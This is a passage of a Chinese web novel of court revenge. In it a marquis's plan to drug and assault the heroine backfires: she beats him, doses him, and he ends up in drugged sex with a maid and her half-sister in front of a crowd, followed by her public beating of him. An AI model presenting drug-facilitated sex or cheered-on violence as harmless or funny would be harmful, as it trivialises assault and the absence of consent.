她不再遮掩面貌,索性拽着谢窈往前走,心想这药见效真快。 终于,来到最里面院子的禅房门口。 “侯爷,蔓儿把二小姐带来了。” 敲门后,蔓儿娇声通报完,就推门而入,将似乎已经陷入昏迷的谢窈,扶到床榻上。 安平侯李钰,早已等候多时。 蔓儿想给安平侯一个眼神,却见侯爷看着二小姐,眼里根本没有别人,她只好心有不甘地扭着腰,走出房间。 她带上门,却没走远,就在院门口候着。 禅房内,安平侯凝视着谢窈,眼底泛起波澜,俊脸显露出亢奋神情。 只见女子昳丽的脸上泛着潮红,长睫微颤,眉心蹙着,让人心生怜惜。 “你若不是箫熠之的人,本侯愿意许你侧夫人之位,你那个庶姐,比不上你万分之一。” 安平侯说着,抬起手,想要抚摸谢窈的脸颊。 不知为何,他对谢窈,之前满是贪欲,此刻就要到手,竟然有些于心不忍。 这样遗世而独立的绝色美人,更应该捧在手心,将世上一切珍宝都奉给她,只为博她一笑,而不该在这个简陋的禅房…… 安平侯的手悬在空中,心想自己真是着了魔,他以前,可不信什么一见钟情,更不曾对一个女子这般在意过。 他黑眸慢慢染上火热,眼底扭曲而癫狂。 又自言自语道:“谢窈,箫熠之那个残废,双腿废了,说不定早就不行了,既然这样,还不如由本侯做你的男人,在佛门圣地,也不算委屈了你。” 说着,安平侯解开自己的玉带。 他刚低头,谢窈紧闭的双眼,骤然睁开! “你醒了?” 安平侯一愣,却不以为意。 他让谢枝下的媚药,是他经常给府上几个陪房丫鬟用的,就算只吃一口,贞洁烈女也受不住。 听说谢窈是健妇营的女卒,有几分身手,但哪怕她武功盖世,此刻,也得任由自己摆布。 下一刻,谢窈一记飞踢! “砰”地一声,安平侯直接被踹到对面墙上,又弹回来,摔到地上,“哎呦”惨叫。 安平侯爬起来,面色骤变,抬拳迎了上去。 谢窈挑眉,她揍了那么多人,第一次遇见个想反抗的。 如果此刻有谢窈的袍泽在,或许会告诉安平侯,被少将军打倒了就乖乖被揍,别想反击。 但安平侯不知道,他怎么能容忍一个女人,忽然暴起揍自己? 谢窈没等他叫出第二声,随手拿起桌上的抹布,飞跃而起,反扣住他手臂,再将抹布直接塞进他嘴里,“砰砰”就是两脚。 所有的动作,在一眨眼完成。 安平侯虽然年轻力壮,身为皇子,也六艺精通,但早被酒色掏空了身子,他想隔档两下,却被谢窈揍得更恨。 谢窈一脚踩在安平侯的腿窝,猛地一碾! 只听“嘎巴”一声脆响,他的腿被当场踩断! 安平侯想惨叫却叫不出来,眼泪霎时间涌出。 地上,散落着几根拇指粗的麻绳,是他打算用在谢窈身上的。 “东西倒准备得齐全。” 谢窈捡起来,三两下,把他捆的结结实实。 这还没完,她又抬脚踩在安平侯背上,拿起旁边的窗撑木条,狠狠抽下去! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!每抽一下,她就加重一分力气。 到七八下之后,窗撑“咔嚓”断掉,安平侯整张脸已经惨白如纸,冷汗淋漓,快要晕了过去。 他再也没有反抗的迹象了,而是像条死狗一样瘫着。 谢窈这才拔出抹布。 安平侯脸色发青,死死地盯着她,嘴角渗出血迹,歇斯底里地咆哮:“呕……谢窈,你个疯子,疯女人,你敢打本侯!” 从来都是他疯,玩别人,第一次,他被别人玩了。 “谢窈,你是装的,你没中药?”安平侯黑眸瞪大。 谢窈从袖中掏出一块完整的山药糕,嫌弃地捏起他的嘴,直接塞了进去,强迫他咽下。 “现在,你中了。”谢窈说道。 她当然没有中药。 而且,她猜到谢枝给她下药,剂量不会小,见效必然很快,因此必须要在自己中药后,立即让丫鬟把自己带走。 她故意装作中药,跟着蔓儿来到这里。 安平侯被噎得直翻白眼,谢窈则转身,又从怀里取出碟子里剩下的三四块山药糕,全都掰碎了,扔进桌上的茶壶里。 安平侯疼得无暇顾及其他,并没有注意到她的动作。 他不甘地盯着她:“那你为什么……脸红?” 谢窈道:“你憋气,你也红。” 安平侯:“……” 门外,蔓儿听到动静,慌忙推门进来:“侯爷,怎么了?” 话音未落,她看见屋内从容玉立的谢窈。 “救本侯,快,快过来给本侯松绑!” 安平侯被打得脑袋发蒙,双目赤红地吼。 蔓儿来不及震惊,下意识遵循他的话,蹲下身,给他解绳子。 刚解开绳子一头,安平侯的药劲上来了。 他身体如同万蚁啃噬,冷白的脸通红,呼吸也变得无比粗重。 安平侯猛地挣开麻绳,一把抓住蔓儿的脚踝,声音沙哑:“过来,给本侯纾解。” “侯爷,奴婢是蔓儿啊……”蔓儿吓得想尖叫,可很快又定下神来,闭上了嘴。 她又急又怕,却不敢真的喊叫起来,只能红着脸轻轻推搡。 二小姐显然已经知道被算计,事情闹大了,她跑不了,大小姐更不会放过自己…… 想到谢枝之前扇自己的巴掌,至今脸上还火辣辣的疼,她咬了咬牙,心道,既然如此,倒不如从了侯爷。 安平侯的力气极大,此刻,他彻底丧失理智,“嘶啦”一下,就扯开蔓儿的衣裙。 谢窈没有再看纠缠起来的两人,转身走出房间。 安平侯是听谢枝的话暗中外出,为了不惊动侯夫人,他只带了一个赶车的车夫,还在马厩守着车架呢。 此刻院子里,空无一人。 谢窈找个没有雪的隐蔽角落,施施然坐下,等待起来。 这么有意思的一出戏,要是有酒有肉就好了。 不过,她在寺庙想酒肉吃,好像不太好。 没等她为自己内心的想法忏悔,一道一瘸一拐的身影,出现在院门口。 谢枝来了。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第107章 庶姐加入?侯夫人发觉 安平侯将药交给谢枝时说了,这药性烈,药效极快。 所以她让丫鬟假扮成佛寺的女役,打翻汤羹,借机赶紧带着中药的谢窈去见安平侯。 她特意交代丫鬟,将谢窈送到后,就回来向自己复命。 可谢枝在前殿左等右等,始终等不来人。 又想到谢窈此刻说不定正在安平侯身下婉转承欢,谢枝心里痛快得意的同时,还有几分不甘。 安平侯明明已经有了自己,却不忘谢窈,还要自己亲自把谢窈送到他身边。 她怎么甘心。 谢枝于是悄无声息地离开前殿,来到安平侯在成佛寺的院子查看。 那丫鬟不在,刚走进去,她就听见里面传来让人面红心跳的动静。 谢枝集中了精神,屏息凝神,把所有注意都放在屋内,完全没有看到角落里的谢窈。 她靠近屋门,忽然听见里面的女声自称奴婢。 谢枝面色一变,猛地推开门:“你个贱——” 话音未落,已经等待多时的谢窈,抬脚踹到她的后腰上! 谢枝毫无防备,“啊”地一声,尖叫着扑进屋,正好撞在纠缠在一起的丫鬟和安平侯身上。 她爬起来,本想回头一探究竟,却看见眼前的安平侯衣衫松垮,丫鬟蔓儿更是光着身子,满脸羞红地找衣物遮体。 安平侯转身,看见一个熟悉的身影,头昏脑涨中,反手抓住谢窈的手臂,情不自禁在她身上游走起来。 “丛嫣,乖,给本侯……” 他低声唤着安平侯夫人的闺名。 “侯爷,我是枝枝啊,你们,你们这是在做什么!” 谢枝欲迎还拒地挣扎着,余光瞥见身上片片欢好痕迹的蔓儿,顿时抬手就是一巴掌,恨不得生吞了她。 “谢窈呢,你个贱婢竟敢勾引侯爷,爬上侯爷的床!” “侯爷,侯爷你清醒一下!这贱婢断不能留!” 蔓儿捂着脸,被她骂得心里一横,听到她说要将自己灭口,又羞又怒。 此刻,安平侯根本没心思听她在说什么,只感觉自己的欲火没有丝毫缓解,于是一边抓住蔓儿,一边撕扯谢枝的衣裙。 蔓儿瞥向桌上的茶壶,刚才安平侯喝了那茶水,药效却更烈了,显然茶水里有药。 趁安平侯抓住谢枝的时候,她狠下心,抓起茶壶,朝谢枝的脸泼去。 “大小姐,反正你早晚也是侯爷的人,别怪奴婢心狠。” 谢枝本想躲,但她之前跪行了两个时辰的山路,身体还未好,哪有力气。 “你!” 温凉的茶水溅到脸上,谢枝下意识张嘴尖叫,一口茶水顺着喉咙呛了进去。 不消片刻,她便感觉浑身一麻,手脚也跟着软了。 “侯爷……” 再想出声,就从唇间泄出低吟。 安平侯将她一把按在桌案上,身上的热意焚烧着她。 蔓儿也被他拉住,她同样染上了那药,方才不过是被扇了巴掌,一时清醒。 三人滚作一团,比刚才还要靡乱不堪。 “侯爷,侯爷轻一点,求侯爷怜惜……” “侯爷饶了奴婢吧……” “哭什么……给了本侯,你难道还委屈不成。” 禅房外,谢窈嘴角一抽,没想到谢枝还真加入了。 她用新雪擦了擦靴底,转身离开。 蒲苇找上来,听到院子里细微的声音,她见怪不怪道:“小姐,侯府的马车就停在马厩。” 谢窈淡声吩咐:“你去找安平侯的车夫,就说让他去跟侯夫人打声招呼,晚些一同下山回府。” 蒲苇立即明白,领命离开。 谢窈转身往回走,刚到岔路口,见到一名之前给长公主汇报的侍女,身穿青衫,在路上等候。 侍女看到她,屈膝行礼:“奴婢怀夏,奉殿下之命,带二小姐去为沈皇后祈福。” 谢窈微微颔首,跟着怀夏走进偏殿。 “这是殿下在栖凤院的常服,二小姐请先更衣。”怀夏送来一身月白绣银竹纹的襦裙。 谢窈和长公主身量相当,只比长公主高三寸。 长公主的衣裙,她穿得几乎正好。 怀夏望着换好衣服的谢二小姐,一瞬间,有些许恍惚。 她很快压下情绪,引着谢窈来到一座崭新庙宇门前:“这里,就是殿下为先皇后修的庙。” 谢窈望去,见庙宇不大,却崭新精致,门楣的匾额上,书写有“羲和庙”三个字。 沈皇后闺名沈羲和,而羲和,也是古时候的神女,用做庙名,倒也很合适。 庙内,长公主身着深青色织金凤纹翟衣,神情肃穆地立在香炉旁,凤眸凌厉,气质清冷华贵。 觉岸和尚穿着方丈袈裟在一旁,一下一下敲木鱼,闭目默念佛经。 清越的木鱼声,仿佛带有某种特殊韵律,让谢窈的心不由自主沉浸下来。 “未时三刻已到,这是觉岸方丈为母后算的祈福吉时。”见谢窈进来,长公主淡声开口。 谢窈抬起头,只见香炉内青烟袅袅,供桌前面,是用白玉精雕细琢,身穿凤袍,头戴凤冠的沈皇后,端坐在二十四瓣仰覆金莲之上。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!后方墙上,则挂有一幅沈皇后身穿戎装的画像。 画上的女子三十上下,骑在枣红骏马上,持长枪,眉眼凌厉英气。 长公主跪了下去,仰头凝望着画像,眼神怀念而哀伤。 她声音哽咽:“如今的本宫,竟然已经和母后走时的年岁一样了……这是画师根据本宫描述画的画像,但其实,本宫已经不太记得她的模样。” 双喜捧着三柱香,递给谢窈。 谢窈听出长公主声音里的哭腔,被她所感染,心头一酸,认真地说: “只要人们心中还念着沈皇后,她就一直存在于世间,臣女也会一直记着她,长命无绝哀。” 长公主道:“上前跪下吧,让母后好好看看你,你是健妇营的人,母后会喜欢的。” “是。”谢窈接过香,跪在她身旁,将香插进香炉,郑重地叩拜。 殿内的双喜和怀夏对视一眼,都心里暗叹,今日是沈皇后忌辰,这羲和庙除了长公主,谢二小姐是第一个能来进香的人。 而此刻,安平侯夫人和庆公公一起用完素宴,两人有说有笑,从前殿出来,打算去成佛寺其他几殿上香。 一个粗布麻衣的老仆跑过来:“夫人祈福好了吗,侯爷等着您一同回府。” 安平侯夫人露出疑惑神情,旁边侍女连忙道:“夫人,这是咱们侯府的车夫,平时给侯爷赶马车。” 庆公公听到,瞥向车夫身后:“诶,安平侯来了成佛寺?那奴才得去见个礼。” 安平侯夫人拧起眉头:“侯爷来成佛寺,怎么没事先跟我说?” 车夫并不清楚安平侯的打算,安平侯更不可能跟他说。 他只知道,外面的女子成群结队往侯爷怀里扑,那是常有的事儿,侯夫人应该早习惯了,而且,有时还要给侯爷处理首尾。 于是,车夫挠了挠头,低眉顺眼地直言:“是有位姑娘,说要为侯爷祈福,叫侯爷来成佛寺相见。” “姑娘?” 安平侯夫人心里“咯噔”一声,猛地回头,发现之前被汤羹弄脏衣裙,说要去换衣裳的谢二小姐,始终没有回来。 谢家庶女那点伎俩,还有对安平侯的心思,她已经不放在眼里。 但她还记得,那日冬至宴,安平侯接她回府,初见谢家二小姐时,却露出贪婪痴迷的眼神。 如今谢窈得了长公主青眼,她要是忽然不想嫁给靖北王,会不会,看上侯爷?! 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第108章 捉奸,没想到是三人行! 偏偏李钰那荒唐的性格…… 谢窈如果敢勾引,他定然什么事都做得出来! 是了,若说为一个上赶着倒贴的庶女谢枝,他不可能特意来成佛寺! 安平侯夫人强撑着镇定,已经心乱如麻。 她忽然抚住额头,对庆公公挤出一抹僵硬的笑:“庆公公,本夫人身体不适,先告退了。” 说完,安平侯夫人压低声音,对车夫道:“带我去见侯爷,我现在就跟他一起下山回府。” 她本想自我安慰,谢窈不是水性杨花之人,谢家也不敢抗旨悔婚。 但谢窈的确不在这里,正常人也不可能愿意嫁给靖北王,这两点,让她心里越发不安。 李钰是什么德行,先帝最小的儿子,一个被太后宠到不知天高地厚的皇室宗亲。 就算谢窈是待嫁的靖北王妃,他只要疯起来,就会不管不顾。 若是…… 安平侯夫人面色发白,只想着赶快找到安平侯,别让他真在成佛寺里,做出什么丑事来。 她正要走,庆公公在旁边,眯起了眼睛。 江氏这般脸色,仅仅是气恼安平侯和那位枝姑娘的勾当,不至于此。 他心头一沉,忽然回过头。 就见谢二小姐那把存在感很高的丑丑的佩刀,还被放在殿内。 庆公公面色骤变。 难道安平侯,竟敢动靖北王的未婚妻? “侯夫人稍等,咱家给您一起去见侯爷。” 庆公公语气不容置疑,对安平侯夫人的称呼,也从“县主”变成了“侯夫人”,更是自称咱家。 他执掌着御鹰司,如果这件事涉及谢二小姐,事关靖北王,他必须得查清楚。 安平侯夫人猛地意识到,张庆才可不是寻常内侍,而是皇上身边的掌事太监,更是御鹰司的副司使,专门负责刺探监视宗亲臣子的私密。 见车夫还在等侯夫人发话,庆公公眼神阴沉:“还不带路!” 车夫不明所以,一缩脖子,连忙在前面带路。 周围,刚才还和他们攀谈的一群香客,瞧见这阵仗,好奇地跟了上来。 庆公公瞥了一眼,想到了什么,没有阻拦。 安平侯是除了陛下之外,先帝仅剩的皇子,太后最大的念想,如果真的在成佛寺铸成大错,陛下说不定是高兴的。 侯夫人紧跟在车夫身后,搀扶她的丫鬟,只感觉夫人的手冰凉。 刚走几步,侯夫人忽然看见路边一个熟悉的身影。 “站住,哪来的奴婢,见到本夫人也不行礼?”她疾言厉色。 蒲苇欠了欠身:“见过侯夫人。” 安平侯夫人一怔,认了出来,这不是跟她一起坐马车上山,谢窈身边的丫鬟吗。 “你是谢窈身边那个?怎么会在这里。” 蒲苇:“奴婢刚在后院浆洗了我家小姐换下的衣裙,正要去见小姐。” 安平侯夫人定睛看她怀里的衣物,是谢窈之前穿的。 她的脸色彻底白了下去,语气也发颤:“带本夫人去见谢窈!” 蒲苇平静地说:“侯夫人,我家小姐此刻正在祈福上香,旁人不得打扰。” “你胡……” 安平侯夫人胸口激烈起伏了几下,顾及着庆公公在,强忍着怒火,将“胡说八道”四个字咽了回去。 “罢了,我去见李钰!” 说着,她已经面沉如水,走得竟然比车夫还快。 她江丛嫣,可太了解李钰了! 如果李钰要找个地方与女子私会,她不用猜,就知道会在哪个房间——必然是后殿给香客住的,最里面院子的禅房! 蒲苇顺路,跟在侯夫人旁边。 安平侯夫人更加确定,和李钰私会的人就是谢窈,这丫鬟是想通风报信,或者阻止自己。 众人你看看我,我看看你,好像明白了什么。 安平侯和谢二小姐,有私情?! 安平侯竟然这么受欢迎,今天的侯夫人,可真忙啊! 终于到了院子,还没靠近,众人就听到一阵人面红耳赤的声音。 跟着来的两个小沙弥,脸都红了,道着“罪过”后退。 众人也惊得面面相觑,一个个既兴奋,又不敢言语。 这不是有私情,这是…… 捉奸! 一个柔媚的女声道:“侯爷不要,饶了我吧……” 另一个,自然是安平侯的声音。 “叫错了,该罚。” “来,腿高些。” “夫君真的会娶我做侧夫人吗?那侯夫人不许怎么办。” “放心,本侯应允的事,决不食言,江丛嫣那人老珠黄的母老虎,哪比得上你,等你嫁过来,本侯就借个由头休了她,就算让你当侯夫人,又有何不可。” “夫君可不能骗我……” 让人羞臊的对话,伴随着不堪入耳的喘息,清晰传出来。 安平侯夫人血直接涌上脑门,浑身发抖,却又要告诉自己冷静下来。 庆公公忽然往前走了几步,站在门的最前方,试图阻挡别人的视线。 侯夫人的侍女上前,颤巍巍地推开禅房门—— 本小章还未完,请点击下一页继续阅读后面精彩内容!满屋淫靡,透过侍女和庆公公,呈现在众人面前! 只见安平侯赤着上半身,嘴里哼唧着什么。 而他身下女子,光着身子,钗环凌乱,头发遮住了脸。 两人还在不知天地为何物,有人推开门都没反应。 最让人瞠目结舌的,是他们旁边,还躺着个披头散发,衣不遮体的丫鬟! 那丫鬟浑身红痕,看见乌泱泱一群人,“啊”地叫了声,手忙脚乱地找衣裙遮体。 但安平侯早就把她的衣服撕得粉碎,她想找衣衫都找不到,只能跪着身子,缩起来。 这,这屋里居然有三个人! 庆公公目瞪口呆,已经忘了自己要做什么了。 挡不住,真的挡不住。 他只是个太监啊,为什么要让他看见这种事! 一时之间,跟上前的几个香客都避开头,捂住了眼睛,然后从手指缝里看,眼睛逐渐睁大。 “天啊!怎么会有如此淫乱之事呢。” “佛门圣地,小侯爷居然在此大行淫秽,阿弥陀佛,罪过罪过……” “那女子是谁,不会是谢二小姐吧?” 细碎的议论声响起,安平侯夫人眼前一黑,通红着眼睛,手指颤抖地指着纠缠的三人,气都喘不匀了:“好……好啊!” 谢枝听到声音,抬起头。 一张脸颊泛着潮红,额头还青紫的俏丽面孔,呈现在所有人面前。 “是你!” 安平侯夫人震惊地瞪大双眼。 她本以为会看见谢窈,可和李钰纠缠在一起的女子,不是谢窈,而是谢枝! 庆公公高悬的心,看见谢枝之后,猛地松懈下来。 谢天谢地!佛祖保佑!跟王爷无关,跟谢二小姐无关! 他恨不得立即跪下给佛祖磕几个头。 庆公公劫后余生地擦了擦额头渗出的冷汗,后退了几步,把地方让出来,让众人一起欣赏。 既然是安平侯和谢家庶女谢枝,在这里上演活春宫,那就没必要遮掩了。 他也算见多识广,这么热闹的场景,在宫里都很少见呢。 庆公公耳聪目明,发现安平侯还老牛似的喘息着,甚至仍旧在谢枝身上上下其手,丑态毕露。 他叫来身边小太监吩咐:“侯爷怕是中了什么,去接盆冰水。” 而安平侯夫人,终于忍无可忍,疯了似的扑上去。 “贱人!” “我就知道是你这个不知廉耻的庶女!让你勾引侯爷,让你想做侧夫人!给我撕烂这个狐狸精的脸!” 侍女冲上前帮忙:“不要脸的贱人,竟敢勾引侯爷!” 门口看热闹的香客们,不知道是臊得慌,还是惊呆了,居然没有人上前阻拦。 安平侯夫人做为江家女,江老丞相的嫡孙女,江太后的侄女,平时最为端庄温婉,是京中大家闺秀的典范。 但先是谢枝跪爬上山,逼她当众发飙,绝了谢枝入府的路,又听到安平侯说要休了她。 最后再看见这一幕,脾气再好的人,也忍不住了。 她一把揪住谢枝的头发,按着她脑袋,指甲一阵乱挠。 谢枝被打醒了几分,脸颊多出几道血痕,火辣辣的疼。 她本想爬起来还手,却发现自己没穿衣服,只好又哭又叫地躲到安平侯身后。 庆公公不得不上前,强行拉开安平侯夫人,然后指使小太监端着一盆冰水,浇到安平侯和谢枝身上。 “哗——” 安平侯“嘶”地一声,眼神终于清明,慢吞吞地止住动作。 他抬起头,看见侯夫人正疯子似的阴恻恻盯着自己,顿时拧起眉。 “夫人怎么又来管本侯?本侯都来寺庙里了,你还要跟着过来,是想一起吗?” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第109章 当众,狂踹瘸子那条好腿 “李钰,你……你……” 侯夫人听着这话,心口像是被刀扎了一刀,哆哆嗦嗦地说不出话来。 安平侯清醒许多,抹了一把脸,站起身。 他随手披上里衣,衣襟敞开,露出被谢枝抓出红痕的胸膛。 那药效还没过,让安平侯感受不到身体上的疼痛,而且格外亢奋。 “本侯不过是跟个女人快活快活,你乖乖做你的侯夫人,少多管闲事,像个泼妇似的拈酸吃醋。”他语气轻佻道。 “拈酸吃醋?” 安平侯夫人低声重复这四个字:“是你当年跟我说的,你喜欢我吃醋。” 她望着眼前年轻俊朗,面上潮红未褪的男子,脑海中,浮现出四年前,她刚嫁给他时的情景。 那年,李钰才十四岁,因为刚经历了五王之乱,被皇上从亲王爵位削为侯爵,所以性子十分沉静。 新婚之夜,少年掀起她的盖头,双目如水地望着她。 他说:“嫣儿,你是本侯的妻子,也是本侯的姐姐,本侯会一辈子对自己好。” 从那天起,江丛嫣就把自己一整颗心,都系在了他身上。 她比安平侯大四岁,总是想,侯爷还小,就像她弟弟一样需要疼爱。 不管是他要什么,只要能给的,她都给。 她操持俗务,成了京中人人称赞的贤夫人。 他出门看戏,带回一两个青楼女子,她忍了。 他又纳几个妾室,夜夜笙歌,她也忍了。 直到那日,她将身边的陪嫁丫鬟,亲自送到他房中。 几天后,她看见的却是一具尸体。 江丛嫣这才忍无可忍,闹了一场,发买了全府的妾室,还告到太后那里。 太后温和地安慰她,最后却让她忍,说只是个丫鬟而已。 等她回府,李钰却高兴又亢奋地问:“嫣儿是在吃醋吗?” “其实本侯不想杀那丫头的,她太像你了,实在是过于端庄古板,本侯想让她活泼一些,没想到她不禁玩……倒是因祸得福,看见了夫人吃醋的样子。” 因祸……得福? 那时候,江丛嫣第一次意识到,李钰不是一个正常人。 可他的眼神太炙热,太明亮。 他还搂着自己,温柔地说:“本侯之所以如此,就是想看夫人不一样的一面,夫人雷厉风行,如明珠耀眼夺目,实在与寻常女子不同。” 是这样吗?他做这些,只是为了自己吃醋? 江丛嫣的眼神迷茫。 她以为自己再忍一忍,侯爷以后会长大的,到时候,就懂事了。 就算他的妾室再多,她也永远都是安平侯夫人。 后来,哪怕他变本加厉,她也习惯为他收拾烂摊子。 就在刚才,她甚至还在想,若和李钰纠缠在一起的女人是谢二小姐,她该怎么善后。 见到是谢枝,她反倒松了一口气。 不过是个庶女,她就做个泼妇,扑上去撕烂她的脸就好了,侯爷说不定还会高兴地说:“本侯就喜欢夫人吃醋。” 可没想到,李钰做出这种龌龊之事,竟怪自己前来捉奸! 曾经山盟海誓,甜言蜜语,说的人早忘了,只有听的人还记得,念着。 等闲变却故人心,却道故人心易变。 他怎么能怪她! 安平侯转身,用自己身子挡住谢枝,冷冷地开口:“江氏,把你外衣脱下来给谢枝。” 江丛嫣僵住,没想到自己的夫君,会让自己当众脱下衣服,给那个庶女! 在众人面前,他连最后一份体面,都不留给自己。 江丛嫣双目泛红,浑身发抖,转过身,反手又给了谢枝一巴掌:“做梦!” 安平侯挑了挑眉。 旁边的谢枝瑟瑟发抖,嘴角淌出血:“夫人,都是枝枝的错……” “江丛嫣,你闹够了没有,你现在,怎么变得这么疯癫!” 安平侯护住谢枝,他难得尽兴,此刻看着谢枝的眼神,多了几分怜惜。 周围的香客全都看呆了,响起惊诧的议论声。 “安平侯真是色胆包天,竟敢跟女子在寺庙厮混……” “都说安平侯夫人最为端庄,没想到也是个泼辣的。” “那不是文昌伯府的谢枝吗,活该,竟敢勾引有夫之妇!” 就在这时,长公主带着谢窈,走了进来。 身后,还跟着匆匆赶来的觉岸方丈。 众人一下子噤了声,全都低头不语。 看见这满屋狼藉,长公主面容冷若冰霜。 她忽然转身,看了看身边安然无恙的谢窈,顿时明白了一切,眉心忽然松缓。 安平侯夫人回过神,绝望地抬起头:“谢二小姐,是不是你让这贱人勾引侯爷,想看我笑话。” 谢窈望着江丛嫣泪痕交错的脸,和之前的韩思雪何其相似。 只是,她以为懦弱温吞的韩思雪,却当场给了谢成榆一刀,让她刮目相看。 而她以为爽利聪慧的江丛嫣,此刻却还执迷不悟。 “侯夫人该怪的人,不是我,也不是她。”谢窈淡淡地说。 这句话像一根针,刺到江丛嫣心里。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“我,我不明白……”她不知所措地低声自语,眼底变幻着。 庆公公还惦记着安平侯中药的事,上前询问:“二小姐,您刚才在什么地方?” 觉岸道:“阿弥陀佛,出家人不打诳语,殿下与谢二小姐,一直与老僧在羲和庙祈福。” 安平侯见到谢窈,只感觉刚才那盆冰水忽然起效。 顿时,他浑身都疼起来,尤其是那条被她踩断的腿。 他强忍疼痛,望着长公主,挤出笑容:“皇姐怎么来了?” 长公主的年龄,比他母后还大两岁。 长公主嫁去雍国和亲的时候,他才刚出生,等她归国,两人也只在宫宴上见过几次,没有交集。 安平侯其实有些怵这个皇姐,但他还是眼眶一红,作揖道:“今日弟弟宠幸了一个女子,不如皇姐成全我们,让弟弟纳她入府。” 长公主眯起眸:“本宫与你并非一个母亲,猪狗不如的小畜生,也配叫本宫皇姐?” 安平侯被骂地一愣,猛地侧头,狠狠瞪谢窈两眼。 一定是这个疯女人,在长公主面前说了什么! 他连忙道:“皇姐,本……弟弟知道错了,弟弟是终日打雁被雁啄了眼,才一时糊涂!” 安平侯不敢说自己给谢窈下药反被揍,这件事说出来,不但不能帮他得到谢窈,反而加重了他的罪责。 “殿下,”觉岸和尚双手合十,“佛门重地,皇家威仪,怎容安平侯这般亵渎,侯爷此举,恐污了沈皇后忌辰。” 听到觉岸的话,长公主眼底浮现出清晰的恨意。 她红唇轻启,一字一顿:“李钰,你怎么还有脸,站在这里的?” 安平侯听到今日是先皇后忌辰,终于慌了。 谁都知道,沈皇后,那是长公主的逆鳞! 他正要跪下,没想到,谢窈比他更快一步出手! 霎时间,狂踹三脚,都踹在他那条好腿上! “咯嘣!” 安平侯只感觉一阵剧痛,他的另一条腿,似乎也被谢窈踢断了! 众目睽睽之下,谢窈身穿柔婉素净的襦裙,把嗷嗷惨叫的安平侯踩在脚下。 她说道:“既然侯爷不愿跪殿下,我只能帮你跪了。” 安平侯心中咆哮:他正要跪啊!他正要跪!!! “谢二小姐你——” 原本在看热闹的庆公公,当场跳起来。 这样的速度和力度,谢二小姐不是略通拳脚,而是武功很高啊! 不过这不是重点,重点是她怎么敢,当众踢断安平侯的腿! 私底下来也行呀…… 谢窈接收到庆公公的眼神,回敬一抹恬淡的笑。 庆公公把要说的话咽了回去。 安平侯扬起头,双目疼得凸出,不敢置信地嘶吼:“我的腿……你这个疯女人,皇姐,殿下,你要为我做主啊!” 长公主转过身,厌恶地走出禅房,远离一室污秽。 她站在外面干净的雪地里,冷冷地吐出两个字: “继续。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第110章 做一把刀,痛快抽人! 谢窈本来,只是想踹断安平侯那条好腿,就结束了。 但听到长公主这句继续,她立即毫不犹豫走到安平侯面前,差点脱口而出“多谢殿下成全”。 “二小姐……”庆公公微弱地出声,试图阻止什么。 因为出声很微弱,所以直接被谢窈忽略了。 她居高临下地俯视安平侯,道:“侯爷怎敢在佛门净地,玷污良家女子。” 谢枝的脸不知是被羞的,还是被扇的,通红一片,嗫嚅道:“二妹妹,不怪侯爷,我,我是自愿的。” 事已至此,她绝不敢说她本想给谢窈下药,反倒想的是既然已经生米煮成熟饭,那就趁机,为自己在安平侯心里谋求地位。 安平侯支撑起身子,单膝跪地,吐出一口嘴里的血水。 “听见她的话了吗,是她,对本侯投怀送抱。”他擦了擦嘴角的血,声音低哑。 “二姐姐说错了,你是京中人人称赞的才女,这么可能贪慕虚荣,主动被糟蹋呢,”谢窈摇了摇头,又指着地上同样衣不遮体的丫鬟蔓儿,“还有她,也惨遭安平侯毒手。” 安平侯目露寒光,从牙缝里挤出阴森咆哮:“本侯想玩什么女人,就玩什么女人,谢窈,你别以为自己嫁给箫熠之,就能对本侯动手,你敢——” “啪!” 谢窈一巴掌下去! 安平侯被抽得原地转了一圈,半张脸瞬间肿起来。 谢窈道:“我敢。” 庆公公瞪大了眼睛,即便是他见多识广,今天也实在长了见识。 让她继续,她真敢打侯爵啊! 安平侯羞愤至极,怒吼一声:“我乃大燕皇族,皇上亲弟,你还敢——” 他话没说完,谢窈又是一巴掌抽过去。 “我还敢。”她又说。 安平侯直接被掀翻了,下一刻,谢窈的靴子,就踩在他后脑勺上。 谢窈余光看向外面。 长公主立于庭前,仿佛在欣赏着院内雪景,眼神冷漠。 她知道,自从长公主让人宣扬,沈皇后立庙这件事之后,长公主,就站在了太后的对立面。 安平侯,是太后的儿子。 他在沈皇后忌辰做出这样的事,就是不把长公主放在眼里。 自己现在被长公主,当成了一把刀。 但不得不说…… 当长公主的刀,感觉很好。 之前给安平侯灌药,还有踩断他一条腿,都是私下进行,她没好意思打对方的脸。 但现在…… 谢窈发现了,打人,还是打脸最痛快。 没等安平侯再说话,谢窈伸手拽住他的发髻,对着他肚子就是三拳。 安平侯被打得蜷缩在地上,脸色扭曲,口吐酸水。 “你……你这个疯子……” 他艰难地仰起脖子,看见了谢窈眼中桀骜的冷意。 安平侯终于明白了,谢窈是个比他还疯的疯子! 如果没人阻止,她真敢,现在打死自己! “皇姐息怒,求皇姐赎罪……” 安平侯求饶起来,沉吟了几声,见长公主充耳不闻,他忽然侧身,抓住江丛嫣的衣角。 “夫人,咳咳咳……夫人救救本侯……” 江丛嫣深吸一口气,抬起腿,大步走出禅房。 再回头时,她望着那个被谢窈踩在脚下的男人,眼神是一片漠然的凉意。 “李钰,你丢尽皇室脸面,也丢尽侯府和我的脸面,这侯夫人,我不做也罢,我明日就去宁寿宫找太后,请她让你我二人和离。” 她说完,长舒一口气,整个人轻松不少,似乎恢复了平日的端庄,又有些不一样。 甚至看见地上的谢枝,江丛嫣都不生气了。 和一个主动跳入火坑的死人,生什么气呢。 她摇了摇头,压下自己心里还残留的那一丝对安平侯的心疼,转身离去。 “你说什么,你不要侯夫人的位——” 安平侯不敢置信地望着江丛嫣背影,还没说完,谢窈就又摁着他的头,向下一磕。 “嘭”一声巨响,在场所有人都浑身一激灵。 鲜血,从安平侯额头与地面接触的位置流淌出来。 这一下让他彻底没了动静,当场昏了过去。 